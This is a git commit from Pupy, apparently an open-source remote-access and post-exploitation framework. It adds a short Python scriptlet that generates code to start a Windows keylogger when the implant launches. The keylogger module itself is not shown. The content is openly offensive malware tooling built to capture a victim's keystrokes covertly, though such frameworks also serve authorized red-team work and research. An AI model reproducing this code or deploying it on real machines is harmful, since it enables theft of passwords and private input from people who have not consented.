keylogger scriptlet

This commit is contained in:
n1nj4sec 2016-05-05 12:19:14 +02:00
parent af3b455ef1
commit 4cfe22d78c
2 changed files with 22 additions and 0 deletions

View File

View File

@ -0,0 +1,22 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
import textwrap, random, string
from scriptlets import *
class ScriptletGenerator(Scriptlet):
""" start the keylogger at startup """
dependencies=[("windows/all/pupwinutils/keylogger.py","pupwinutils.keylogger")]
arguments={}
def generate(self):
return textwrap.dedent("""
import sys
if sys.platform=="win32":
import pupwinutils.keylogger
pupwinutils.keylogger.keylogger_start()
""")